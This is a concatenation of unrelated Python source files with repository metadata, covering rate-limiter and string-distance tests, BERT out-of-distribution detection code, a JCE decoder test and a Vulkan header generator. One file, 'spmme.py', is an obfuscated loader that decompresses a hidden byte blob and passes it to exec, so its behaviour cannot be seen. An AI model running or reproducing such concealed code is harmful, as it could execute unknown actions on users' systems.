self.assertEqual(limiter.instant_load_factor(), 0.0)
with limiter.waiting(5):
submitted += 5
with limiter.waiting(5):
submitted += 5
self.assertEqual(limiter.instant_load_factor(), 1.0)
frozen_datetime.tick(delta=datetime.timedelta(seconds=1))
with limiter.waiting(5):
submitted += 5
self.assertEqual(submitted, 15)
def test_as_decorator(self):
start_time = datetime.datetime.now()
with freeze_time(start_time):
submitted = [0]
limiter = LoadLimiter(maxload=10, period=2)
@limiter(load=5, wait=False)
def do_expensive():
submitted[0] += 5
do_expensive()
do_expensive()
self.assertEqual(limiter.instant_load_factor(), 1.0)
with self.assertRaises(LoadLimitExceeded):
do_expensive()
self.assertEqual(submitted[0], 10)
with freeze_time(start_time) as frozen_datetime:
submitted = [0]
limiter = LoadLimiter(maxload=10, period=2)
@limiter(load=5, wait=False)
def do_expensive():
submitted[0] += 5
do_expensive()
do_expensive()
self.assertEqual(limiter.instant_load_factor(), 1.0)
frozen_datetime.tick(delta=datetime.timedelta(seconds=2))
self.assertEqual(limiter.instant_load_factor(), 0.0)
do_expensive()
self.assertEqual(limiter.instant_load_factor(), 0.5)
self.assertEqual(submitted[0], 15)
def test_status_dump(self):
limiter = LoadLimiter(maxload=10, period=2)
start_time = datetime.datetime.now()
def assert_serialization_identity():
dump_before = limiter._dump_status()
limiter._restore_from_status(dump_before)
dump_after = limiter._dump_status()
self.assertDictEqual(dump_before.__dict__, dump_after.__dict__)
with freeze_time(start_time) as frozen_datetime:
assert_serialization_identity()
self.assertEqual(limiter.instant_load_factor(), 0.0)
self.assertTrue(limiter.submit(1).accepted)
assert_serialization_identity()
self.assertTrue(limiter.submit(1).accepted)
self.assertTrue(limiter.submit(2).accepted)
assert_serialization_identity()
frozen_datetime.tick(delta=datetime.timedelta(seconds=2))
assert_serialization_identity()
self.assertTrue(limiter.submit(1).accepted)
assert_serialization_identity()
frozen_datetime.tick(delta=datetime.timedelta(seconds=2))
assert_serialization_identity()
self.assertTrue(limiter.submit(3).accepted)
assert_serialization_identity()
self.assertTrue(limiter.submit(1).accepted)
assert_serialization_identity()
frozen_datetime.tick(delta=datetime.timedelta(seconds=5))
assert_serialization_identity()
self.assertTrue(limiter.submit(3).accepted)
assert_serialization_identity()
limiter.submit(3)
limiter.submit(3)
limiter.submit(3)
assert_serialization_identity()
limiter.submit(3)
limiter.submit(3)
self.assertFalse(limiter.submit(4).accepted)
assert_serialization_identity()
frozen_datetime.tick(delta=datetime.timedelta(seconds=8))
assert_serialization_identity()
self.assertTrue(limiter.submit(1).accepted)
assert_serialization_identity()
def test_storage_adapter(self):
start_time = datetime.datetime.now()
limiter = LoadLimiter(maxload=10, period=2, storage_adapter=InMemoryLoadLimiterStorageAdapter())
def assert_serialization_identity():
dump_before = limiter._dump_status()
self.assertTrue(limiter.flush(force=True))
self.assertTrue(limiter.restore())
dump_after = limiter._dump_status()
self.assertDictEqual(dump_before.__dict__, dump_after.__dict__)
with freeze_time(start_time) as frozen_datetime:
assert_serialization_identity()
self.assertEqual(limiter.instant_load_factor(), 0.0)
self.assertTrue(limiter.submit(1).accepted)
assert_serialization_identity()
self.assertTrue(limiter.submit(1).accepted)
self.assertTrue(limiter.submit(2).accepted)
assert_serialization_identity()
frozen_datetime.tick(delta=datetime.timedelta(seconds=2))
assert_serialization_identity()
self.assertTrue(limiter.submit(1).accepted)
assert_serialization_identity()
frozen_datetime.tick(delta=datetime.timedelta(seconds=2))
assert_serialization_identity()
self.assertTrue(limiter.submit(3).accepted)
assert_serialization_identity()
self.assertTrue(limiter.submit(1).accepted)
assert_serialization_identity()
frozen_datetime.tick(delta=datetime.timedelta(seconds=5))
assert_serialization_identity()
self.assertTrue(limiter.submit(3).accepted)
assert_serialization_identity()
limiter.submit(3)
limiter.submit(3)
limiter.submit(3)
assert_serialization_identity()
limiter.submit(3)
limiter.submit(3)
self.assertFalse(limiter.submit(4).accepted)
assert_serialization_identity()
frozen_datetime.tick(delta=datetime.timedelta(seconds=8))
assert_serialization_identity()
self.assertTrue(limiter.submit(1).accepted)
assert_serialization_identity()
if __name__ == '__main__':
unittest.main()
| 38.556034
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| 3,310
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py
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Python
|
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tests/measure_tests/string_data_tests/damerau_levenshtein_distance_test.py
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cenkbircanoglu/clustering
|
0a97fbf43e58e65e8d9eed30eecff00bcd47f093
|
[
"MIT"
] | 1
|
2015-01-18T08:52:30.000Z
|
2015-01-18T08:52:30.000Z
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# coding=utf-8
from unittest import TestCase
from similarityPy.measure.string_data.damerau_levenshtein_distance import DamerauLevenshteinDistance
from tests import test_logger
__author__ = 'cenk'
class DamerauLevenshteinDistanceTest(TestCase):
def test_algorithm(self):
test_logger.debug("DamerauLevenshteinDistanceTest - test_algorithm Starts")
data = ["abc", "cba"]
damerau_levenshtein_distance = DamerauLevenshteinDistance(data)
damerau_levenshtein_distance.process()
result = damerau_levenshtein_distance.get_result()
self.assertEquals(2, result)
data = [[1, 0, 0, 1, 1], [0, 0, 1, 0, 1]]
damerau_levenshtein_distance = DamerauLevenshteinDistance(data)
damerau_levenshtein_distance.process()
result = damerau_levenshtein_distance.get_result()
self.assertEquals(2, result)
data = ["bccbbcb", "ccbbccb"]
damerau_levenshtein_distance = DamerauLevenshteinDistance(data)
damerau_levenshtein_distance.process()
result = damerau_levenshtein_distance.get_result()
self.assertEquals(2, result)
data = ["123", "123"]
damerau_levenshtein_distance = DamerauLevenshteinDistance(data)
damerau_levenshtein_distance.process()
result = damerau_levenshtein_distance.get_result()
self.assertEquals(0, result)
data = [[0, 1, 1, 0, 0, 1, 0], [1, 1, 0, 0, 1, 1, 0]]
damerau_levenshtein_distance = DamerauLevenshteinDistance(data)
damerau_levenshtein_distance.process()
result = damerau_levenshtein_distance.get_result()
self.assertEquals(2, result)
data = ["ac", "ca"]
damerau_levenshtein_distance = DamerauLevenshteinDistance(data)
damerau_levenshtein_distance.process()
result = damerau_levenshtein_distance.get_result()
self.assertEquals(1, result)
data = ["abcde", "ABCDf"]
damerau_levenshtein_distance = DamerauLevenshteinDistance(data)
damerau_levenshtein_distance.process()
result = damerau_levenshtein_distance.get_result()
self.assertEquals(1, result)
data = [[3], [4]]
damerau_levenshtein_distance = DamerauLevenshteinDistance(data)
damerau_levenshtein_distance.process()
result = damerau_levenshtein_distance.get_result()
self.assertEquals(1, result)
data = [["a"], [4]]
damerau_levenshtein_distance = DamerauLevenshteinDistance(data)
damerau_levenshtein_distance.process()
result = damerau_levenshtein_distance.get_result()
self.assertEquals(1, result)
data = ["10011", "00101"]
damerau_levenshtein_distance = DamerauLevenshteinDistance(data)
damerau_levenshtein_distance.process()
result = damerau_levenshtein_distance.get_result()
self.assertEquals(2, result)
data = []
damerau_levenshtein_distance = DamerauLevenshteinDistance(data)
with self.assertRaises(ArithmeticError) as context:
damerau_levenshtein_distance.process()
self.assertEqual('You must enter two array to find Demerau Levenshtein distance.',
context.exception.message)
test_logger.debug("DamerauLevenshteinDistanceTest - test_algorithm Ends")
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2022-03-11T11:36:16.000Z
|
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from torch.nn import CrossEntropyLoss, MSELoss
from transformers import BertPreTrainedModel, RobertaModel, BertModel
from sklearn.covariance import EmpiricalCovariance
class BertForSequenceClassification(BertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.bert = BertModel(config)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
self.classifier = nn.Linear(config.hidden_size, config.num_labels)
self.init_weights()
def forward(
self,
input_ids=None,
attention_mask=None,
labels=None,
):
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
)
pooled_output = pooled = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
loss = None
if labels is not None:
if self.config.loss == 'margin':
dist = ((pooled.unsqueeze(1) - pooled.unsqueeze(0)) ** 2).mean(-1)
mask = (labels.unsqueeze(1) == labels.unsqueeze(0)).float()
mask = mask - torch.diag(torch.diag(mask))
neg_mask = (labels.unsqueeze(1) != labels.unsqueeze(0)).float()
max_dist = (dist * mask).max()
cos_loss = (dist * mask).sum(-1) / (mask.sum(-1) + 1e-3) + (F.relu(max_dist - dist) * neg_mask).sum(-1) / (neg_mask.sum(-1) + 1e-3)
cos_loss = cos_loss.mean()
else:
norm_pooled = F.normalize(pooled, dim=-1)
cosine_score = torch.exp(norm_pooled @ norm_pooled.t() / 0.3)
mask = (labels.unsqueeze(1) == labels.unsqueeze(0)).float()
cosine_score = cosine_score - torch.diag(torch.diag(cosine_score))
mask = mask - torch.diag(torch.diag(mask))
cos_loss = cosine_score / cosine_score.sum(dim=-1, keepdim=True)
cos_loss = -torch.log(cos_loss + 1e-5)
cos_loss = (mask * cos_loss).sum(-1) / (mask.sum(-1) + 1e-3)
cos_loss = cos_loss.mean()
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
loss = loss + self.config.alpha * cos_loss
output = (logits,) + outputs[2:]
output = output + (pooled,)
return ((loss, cos_loss) + output) if loss is not None else output
def compute_ood(
self,
input_ids=None,
attention_mask=None,
labels=None,
):
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
)
pooled_output = pooled = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
ood_keys = None
softmax_score = F.softmax(logits, dim=-1).max(-1)[0]
maha_score = []
for c in self.all_classes:
centered_pooled = pooled - self.class_mean[c].unsqueeze(0)
ms = torch.diag(centered_pooled @ self.class_var @ centered_pooled.t())
maha_score.append(ms)
maha_score = torch.stack(maha_score, dim=-1)
maha_score = maha_score.min(-1)[0]
maha_score = -maha_score
norm_pooled = F.normalize(pooled, dim=-1)
cosine_score = norm_pooled @ self.norm_bank.t()
cosine_score = cosine_score.max(-1)[0]
energy_score = torch.logsumexp(logits, dim=-1)
ood_keys = {
'softmax': softmax_score.tolist(),
'maha': maha_score.tolist(),
'cosine': cosine_score.tolist(),
'energy': energy_score.tolist(),
}
return ood_keys
def prepare_ood(self, dataloader=None):
self.bank = None
self.label_bank = None
for batch in dataloader:
self.eval()
batch = {key: value.cuda() for key, value in batch.items()}
labels = batch['labels']
outputs = self.bert(
input_ids=batch['input_ids'],
attention_mask=batch['attention_mask'],
)
pooled = outputs[1]
if self.bank is None:
self.bank = pooled.clone().detach()
self.label_bank = labels.clone().detach()
else:
bank = pooled.clone().detach()
label_bank = labels.clone().detach()
self.bank = torch.cat([bank, self.bank], dim=0)
self.label_bank = torch.cat([label_bank, self.label_bank], dim=0)
self.norm_bank = F.normalize(self.bank, dim=-1)
N, d = self.bank.size()
self.all_classes = list(set(self.label_bank.tolist()))
self.class_mean = torch.zeros(max(self.all_classes) + 1, d).cuda()
for c in self.all_classes:
self.class_mean[c] = (self.bank[self.label_bank == c].mean(0))
centered_bank = (self.bank - self.class_mean[self.label_bank]).detach().cpu().numpy()
precision = EmpiricalCovariance().fit(centered_bank).precision_.astype(np.float32)
self.class_var = torch.from_numpy(precision).float().cuda()
class RobertaClassificationHead(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
self.out_proj = nn.Linear(config.hidden_size, config.num_labels)
def forward(self, features):
x = features[:, 0, :]
x = self.dropout(x)
x = self.dense(x)
x = pooled = torch.tanh(x)
x = self.dropout(x)
x = self.out_proj(x)
return x, pooled
class RobertaForSequenceClassification(BertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.config = config
self.num_labels = config.num_labels
self.roberta = RobertaModel(config, add_pooling_layer=False)
self.classifier = RobertaClassificationHead(config)
self.init_weights()
def forward(
self,
input_ids=None,
attention_mask=None,
labels=None,
):
outputs = self.roberta(
input_ids,
attention_mask=attention_mask,
)
sequence_output = outputs[0]
logits, pooled = self.classifier(sequence_output)
loss = None
if labels is not None:
if self.config.loss == 'margin':
dist = ((pooled.unsqueeze(1) - pooled.unsqueeze(0)) ** 2).mean(-1)
mask = (labels.unsqueeze(1) == labels.unsqueeze(0)).float()
mask = mask - torch.diag(torch.diag(mask))
neg_mask = (labels.unsqueeze(1) != labels.unsqueeze(0)).float()
max_dist = (dist * mask).max()
cos_loss = (dist * mask).sum(-1) / (mask.sum(-1) + 1e-3) + (F.relu(max_dist - dist) * neg_mask).sum(-1) / (neg_mask.sum(-1) + 1e-3)
cos_loss = cos_loss.mean()
else:
norm_pooled = F.normalize(pooled, dim=-1)
cosine_score = torch.exp(norm_pooled @ norm_pooled.t() / 0.3)
mask = (labels.unsqueeze(1) == labels.unsqueeze(0)).float()
cosine_score = cosine_score - torch.diag(torch.diag(cosine_score))
mask = mask - torch.diag(torch.diag(mask))
cos_loss = cosine_score / cosine_score.sum(dim=-1, keepdim=True)
cos_loss = -torch.log(cos_loss + 1e-5)
cos_loss = (mask * cos_loss).sum(-1) / (mask.sum(-1) + 1e-3)
cos_loss = cos_loss.mean()
if self.num_labels == 1:
loss_fct = MSELoss()
loss = loss_fct(logits.view(-1), labels.view(-1))
else:
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
loss = loss + self.config.alpha * cos_loss
output = (logits,) + outputs[2:]
output = output + (pooled,)
return ((loss, cos_loss) + output) if loss is not None else output
def compute_ood(
self,
input_ids=None,
attention_mask=None,
labels=None,
):
outputs = self.roberta(
input_ids,
attention_mask=attention_mask,
)
sequence_output = outputs[0]
logits, pooled = self.classifier(sequence_output)
ood_keys = None
softmax_score = F.softmax(logits, dim=-1).max(-1)[0]
maha_score = []
for c in self.all_classes:
centered_pooled = pooled - self.class_mean[c].unsqueeze(0)
ms = torch.diag(centered_pooled @ self.class_var @ centered_pooled.t())
maha_score.append(ms)
maha_score = torch.stack(maha_score, dim=-1)
maha_score = maha_score.min(-1)[0]
maha_score = -maha_score
norm_pooled = F.normalize(pooled, dim=-1)
cosine_score = norm_pooled @ self.norm_bank.t()
cosine_score = cosine_score.max(-1)[0]
energy_score = torch.logsumexp(logits, dim=-1)
ood_keys = {
'softmax': softmax_score.tolist(),
'maha': maha_score.tolist(),
'cosine': cosine_score.tolist(),
'energy': energy_score.tolist(),
}
return ood_keys
def prepare_ood(self, dataloader=None):
self.bank = None
self.label_bank = None
for batch in dataloader:
self.eval()
batch = {key: value.cuda() for key, value in batch.items()}
labels = batch['labels']
outputs = self.roberta(
input_ids=batch['input_ids'],
attention_mask=batch['attention_mask'],
)
sequence_output = outputs[0]
logits, pooled = self.classifier(sequence_output)
if self.bank is None:
self.bank = pooled.clone().detach()
self.label_bank = labels.clone().detach()
else:
bank = pooled.clone().detach()
label_bank = labels.clone().detach()
self.bank = torch.cat([bank, self.bank], dim=0)
self.label_bank = torch.cat([label_bank, self.label_bank], dim=0)
self.norm_bank = F.normalize(self.bank, dim=-1)
N, d = self.bank.size()
self.all_classes = list(set(self.label_bank.tolist()))
self.class_mean = torch.zeros(max(self.all_classes) + 1, d).cuda()
for c in self.all_classes:
self.class_mean[c] = (self.bank[self.label_bank == c].mean(0))
centered_bank = (self.bank - self.class_mean[self.label_bank]).detach().cpu().numpy()
precision = EmpiricalCovariance().fit(centered_bank).precision_.astype(np.float32)
self.class_var = torch.from_numpy(precision).float().cuda()
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# -*- coding: utf-8 -*-
import unittest
from typing import Union
from pydantic import Field
from pyjce import JceReader, IJceStruct, JceWriter, IAutoDecodeJceStruct
test_data = bytes.fromhex(
"100129000b0a160e3139332e3131322e3233312e3630211f9030014c5c600870018602737a96066f74686572730b0a160d34322e38312e3137322e323135211f9030014c5c600870018602746a960374656c0b0a160b31342e32322e332e313134211f9030014c5c600870018602737a960374656c0b0a160e31342e3231352e3133382e3131302101bb30014c5c600870018602737a960374656c0b0a160d34322e38312e3136392e313030205030014c5c600870018602746a960374656c0b0a160e3131342e3232312e3134342e37362136b030014c5c6008700186027368960374656c0b0a160d3131332e39362e31322e3232342101bb30014c5c600870018602737a960374656c0b0a160d34322e38312e3137302e313232211f9030014c5c600870018602746a960374656c0b0a160e3131342e3232312e3134382e3637205030014c5c6008700186027368960374656c0b0a16116d7366776966692e33672e71712e636f6d211f9030014c5c60087c86066f746865727396066f74686572730b0a160c34322e38312e3137322e3633205030014c5c600870018602746a960374656c0b39000b0a160e3139332e3131322e3233312e3630211f9030014c5c600870018602737a96066f74686572730b0a160d34322e38312e3137322e323135211f9030014c5c600870018602746a960374656c0b0a160b31342e32322e332e313134211f9030014c5c600870018602737a960374656c0b0a160e31342e3231352e3133382e3131302101bb30014c5c600870018602737a960374656c0b0a160d34322e38312e3136392e313030205030014c5c600870018602746a960374656c0b0a160e3131342e3232312e3134342e37362136b030014c5c6008700186027368960374656c0b0a160d3131332e39362e31322e3232342101bb30014c5c600870018602737a960374656c0b0a160d34322e38312e3137302e313232211f9030014c5c600870018602746a960374656c0b0a160e3131342e3232312e3134382e3637205030014c5c6008700186027368960374656c0b0a16116d7366776966692e33672e71712e636f6d211f9030014c5c60087c86066f746865727396066f74686572730b0a160c34322e38312e3137322e3633205030014c5c600870018602746a960374656c0b425fe636545138406c7c80029005acbcc900050a160e3130392e3234342e3132392e3135205030014c500360087c8602737a96066f74686572730b0a160d34322e38312e3136392e313035205030014c500360087c8602746a960374656c0b0a160c3131332e39362e31332e3434205030014c500360087c8602737a960374656c0b0a160e3131342e3232312e3134342e3232205030014c500360087c86027368960374656c0b0a160d34322e38312e3136392e313035205030014c500360087c8602746a960374656c0bd900050a160e3130392e3234342e3132392e3135205030014c500360087c8602737a96066f74686572730b0a160d34322e38312e3136392e313035205030014c500360087c8602746a960374656c0b0a160c3131332e39362e31332e3434205030014c500360087c8602737a960374656c0b0a160e3131342e3232312e3134342e3232205030014c500360087c86027368960374656c0b0a160d34322e38312e3136392e313035205030014c500360087c8602746a960374656c0bed000cf90f0cf9100cf9110cf01202f113ff38f61428323032302d31322d32352032323a35383a32382064656c6976657279696e67206120706f6c6963790b")
class SsoServerInfo(IAutoDecodeJceStruct):
server: str = Field(None, jce_id=1) # string `jceId:"1"`
port: int = Field(None, jce_id=2) # int32 `jceId:"2"`
location: str = Field(None, jce_id=8) # string `jceId:"8"`
# def read_from(self, reader: JceReader):
# self.server = reader.read_string(1)
# self.port = reader.read_int32(2)
# self.location = reader.read_string(8)
class TestReader(unittest.TestCase):
def test_reader(self):
reader = JceReader(test_data)
s = SsoServerInfo()
data = reader.read_list(SsoServerInfo, 2)
self.assertEqual(len(data), 11)
self.assertEqual(len(SsoServerInfo.decode_list(test_data, 2)), 11)
if __name__ == "__main__":
unittest.main()
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"Apache-2.0"
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2021-10-13T03:34:11.000Z
|
from tests.parse_sample_data import section_map
import pytest
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@pytest.fixture(params=vf1_macs_list)
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def vf3_mac(request):
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def vf3_valid_vlan(request):
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def vf3_invalid_vlan(request):
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def vf4_mac(request):
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def vf4_invalid_mac(request):
return request.param
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|
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NetCatKS/NetCAT/api/implementers/autobahn/__init__.py
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dimddev/NetCatKS-CP
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2d9e72b2422e344569fd4eb154866b98e9707561
|
[
"BSD-2-Clause"
] | null | null | null |
NetCatKS/NetCAT/api/implementers/autobahn/__init__.py
|
dimddev/NetCatKS-CP
|
2d9e72b2422e344569fd4eb154866b98e9707561
|
[
"BSD-2-Clause"
] | null | null | null |
__author__ = 'dimd'
from NetCatKS.NetCAT.api.implementers.autobahn.components import *
from NetCatKS.NetCAT.api.implementers.autobahn.factories import *
from NetCatKS.NetCAT.api.implementers.autobahn.services import *
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Zusyaku/Termux-And-Lali-Linux-V2
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|
[
"Apache-2.0"
] | null | null | null |
Spmme-main/spmme.py
|
Zusyaku/Termux-And-Lali-Linux-V2
|
b1a1b0841d22d4bf2cc7932b72716d55f070871e
|
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"Apache-2.0"
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2022-02-24T21:25:07.000Z
|
#нефиг смотреть мой код своими глазёнками, если нужны исходники, пиши @lamer112311
try:
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\tnu\x86\x1a]r\xc6\x8a\xd7\xd6E\xd3\x99\x13\xd6MD\xb5B*\x9e3\x97\xac\x84}9M\x84RS&)Mv5O\x86\x94U\xfa\xb4\xacjO\xcf\xe1\x9c\xc7p\x81\xa7\x08^C\xd9\xbe\x17\x8bw\x8fHXn\x9bR\xd4AR\xd1\x83h\xfbL\x93t\xf6k\x8cN\xffa\x10`\x13k~\xab\x16\xff\xa4\xe9D\\y\x0b]xc\x8da\nl\x9bX\x12t\xf5{\x1a\x1f\xf8\xed\x9fy-\xff\xfa\xf1\xcb\xcf\x9f\x7f\xbc\x92a\xac\x93\xe6\xf3\xbd9^\xc9\xe7{u\x80\xee\xf3\xb7\xf4@??\xa5\xe0\x9d\x8c\x19\x00\x9f\xefG\x03\xd2\xcf\xf7b+\xb2\xcf\xdf\x9b6\xc9\xc7\xcf\x8f\x04M\x7fK\x93\xb1\xc0\xb1\xff~\x1b~|\xfb\xf6\x87\xfb\xdf?\xff\xc3F\x0c\xef\xfcfy\x82 \x1b\x9f\x9f~}\xb5\xf9\xdc\x14\xff\xfe\xcb\x19\x1c\xffz\xba\xcb\xb7\xff\x03\xefl\xed\xe1\xd5w\x05\x00)\t\xda\x07marshal\xda\x04lzma\xda\x04gzip\xda\x03bz2\xda\x08binascii\xda\x04zlib\xda\x04exec\xda\x05loads\xda\ndecompress\xa9\x00r\n\x00\x00\x00r\n\x00\x00\x00\xfa\r@CYBER_PUFFIN\xda\x08<module>\x01\x00\x00\x00s\x02\x00\x00\x000\x00m\xe0\xd8c')))
except KeyboardInterrupt:
pass
| 130,340.666667
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"Apache-2.0"
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|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_soraka/__init__.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
from .na_soraka_top import *
from .na_soraka_jng import *
from .na_soraka_mid import *
from .na_soraka_bot import *
from .na_soraka_sup import *
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|
Python
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|
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|
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tests/test_integration_Synthesizer.py
|
Mason-Lin/MusicXML-Synthesizer
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|
[
"MIT"
] | 1
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|
2021-12-13T20:02:23.000Z
|
tests/test_integration_Synthesizer.py
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Mason-Lin/MusicXML-Synthesizer
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"MIT"
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|
2020-05-21T15:42:40.000Z
|
import pytest
from MusicXMLSynthesizer.Synthesizer import Synthesizer
from MusicXMLSynthesizer.utils import parse_notes_meta_to_list
from utility.testHelper import read_musicxml
# Integration Test (Generate output)
'''
Integration test with real input data
'''
@pytest.mark.skip(reason="unstable input from solola can not validate Synthesizer")
def test_integration_real_input_bend():
xsd_path = "musicxml-3.1-dtd-xsd/schema/musicxml.xsd"
# input data
techs_and_notes_list = parse_notes_meta_to_list(
"input_audio/bend_solola/FinalNotes.txt")
beats_list = parse_notes_meta_to_list(
"input_audio/bend_madmom/beats.txt")
downbeats_list = parse_notes_meta_to_list(
"input_audio/bend_madmom/downbeats.txt")
# setup
synthesizer = Synthesizer(xsd_path)
synthesizer.save(techs_and_notes_list, downbeats_list, beats_list)
# prepare all the data we need
beat_dur = synthesizer.calculate_beat_duration(
"mode", synthesizer.extract_to_nparray(downbeats_list, [0])
)
first_downbeat_onset_list = synthesizer.get_frist_downbeats(downbeats_list)
tech_and_notes_nparray = synthesizer.get_tech_and_notes_nparray(
techs_and_notes_list)
# synthesize musicXML
synthesizer.execute('outputs/bend.musicxml')
pass
@pytest.mark.skip(reason="unstable input from solola can not validate Synthesizer")
def test_integration_real_input_hammer_off():
xsd_path = "musicxml-3.1-dtd-xsd/schema/musicxml.xsd"
# input data
techs_and_notes_list = parse_notes_meta_to_list(
"input_audio/hammer_off_solola/FinalNotes.txt")
beats_list = parse_notes_meta_to_list(
"input_audio/hammer_off_madmom/beats.txt")
downbeats_list = parse_notes_meta_to_list(
"input_audio/hammer_off_madmom/downbeats.txt")
# setup
synthesizer = Synthesizer(xsd_path)
synthesizer.save(techs_and_notes_list, downbeats_list, beats_list)
# prepare all the data we need
beat_dur = synthesizer.calculate_beat_duration(
"mode", synthesizer.extract_to_nparray(downbeats_list, [0])
)
first_downbeat_onset_list = synthesizer.get_frist_downbeats(downbeats_list)
tech_and_notes_nparray = synthesizer.get_tech_and_notes_nparray(
techs_and_notes_list)
# synthesize musicXML
synthesizer.execute('outputs/hammer_off.musicxml')
pass
@pytest.mark.skip(reason="unstable input from solola can not validate Synthesizer")
def test_integration_real_input_slide():
xsd_path = "musicxml-3.1-dtd-xsd/schema/musicxml.xsd"
# input data
techs_and_notes_list = parse_notes_meta_to_list(
"input_audio/slide_solola/FinalNotes.txt")
beats_list = parse_notes_meta_to_list(
"input_audio/slide_madmom/beats.txt")
downbeats_list = parse_notes_meta_to_list(
"input_audio/slide_madmom/downbeats.txt")
# setup
synthesizer = Synthesizer(xsd_path)
synthesizer.save(techs_and_notes_list, downbeats_list, beats_list)
# prepare all the data we need
beat_dur = synthesizer.calculate_beat_duration(
"mode", synthesizer.extract_to_nparray(downbeats_list, [0])
)
first_downbeat_onset_list = synthesizer.get_frist_downbeats(downbeats_list)
tech_and_notes_nparray = synthesizer.get_tech_and_notes_nparray(
techs_and_notes_list)
# synthesize musicXML
synthesizer.execute('outputs/slide.musicxml')
pass
@pytest.mark.skip(reason="unstable input from solola can not validate Synthesizer")
def test_integration_real_input_vibrato():
xsd_path = "musicxml-3.1-dtd-xsd/schema/musicxml.xsd"
# input data
techs_and_notes_list = parse_notes_meta_to_list(
"input_audio/vibrato_solola/FinalNotes.txt")
beats_list = parse_notes_meta_to_list(
"input_audio/vibrato_madmom/beats.txt")
downbeats_list = parse_notes_meta_to_list(
"input_audio/vibrato_madmom/downbeats.txt")
# setup
synthesizer = Synthesizer(xsd_path)
synthesizer.save(techs_and_notes_list, downbeats_list, beats_list)
# prepare all the data we need
beat_dur = synthesizer.calculate_beat_duration(
"mode", synthesizer.extract_to_nparray(downbeats_list, [0])
)
first_downbeat_onset_list = synthesizer.get_frist_downbeats(downbeats_list)
tech_and_notes_nparray = synthesizer.get_tech_and_notes_nparray(
techs_and_notes_list)
# synthesize musicXML
synthesizer.execute('outputs/vibrato.musicxml')
pass
'''
integration test with mocked(ideal) solola input
'''
# @pytest.mark.skip(reason="under debugging with unit test")
def test_intergation_mocked_input_bend():
xsd_path = "musicxml-3.1-dtd-xsd/schema/musicxml.xsd"
# input data
techs_and_notes_list = parse_notes_meta_to_list(
"input_mock/bend/FinalNotes.txt")
beats_list = parse_notes_meta_to_list(
"input_mock/bend/beats.txt")
downbeats_list = parse_notes_meta_to_list(
"input_mock/bend/downbeats.txt")
# setup
synthesizer = Synthesizer(xsd_path)
synthesizer.save(techs_and_notes_list, downbeats_list, beats_list)
# synthesize musicXML
synthesizer.execute()
result_musicxml = read_musicxml('outputs/bend/mocked_bend.musicxml')
mocked_musicxml = read_musicxml('output_mock/bend/mocked_bend.musicxml')
# assert result_musicxml == mocked_musicxml
pass
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| 0.848453
| 0.848453
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| 5,360
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py
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|
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2021-11-30T16:21:40.000Z
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|
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|
[
"MIT"
] | null | null | null |
generator/vulkan_header_parser/header.py
|
Fadis/vulkan2json
|
e766e77c7efb14f214721cf75b1767792b059b02
|
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"MIT"
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#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (c) 2021 Naomasa Matsubayashi
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
def get_header( name, header_version ):
return '''/*
* Copyright (c) 2021 Naomasa Matsubayashi
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
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* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
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* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VULKAN2JSON_%s_HPP
#define VULKAN2JSON_%s_HPP
#include <cstddef>
#include <cstdint>
#include <utility>
#include <cstring>
#include <string>
#include <algorithm>
#include <nlohmann/json.hpp>
#include <vulkan/vulkan.hpp>
#include <vulkan2json/exceptions.hpp>
static_assert( VK_HEADER_VERSION == %d, "Wrong VK_HEADER_VERSION!" );
''' % ( name.upper(), name.upper(), header_version )
def get_forward_header( name, header_version ):
return '''/*
* Copyright (c) 2021 Naomasa Matsubayashi
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
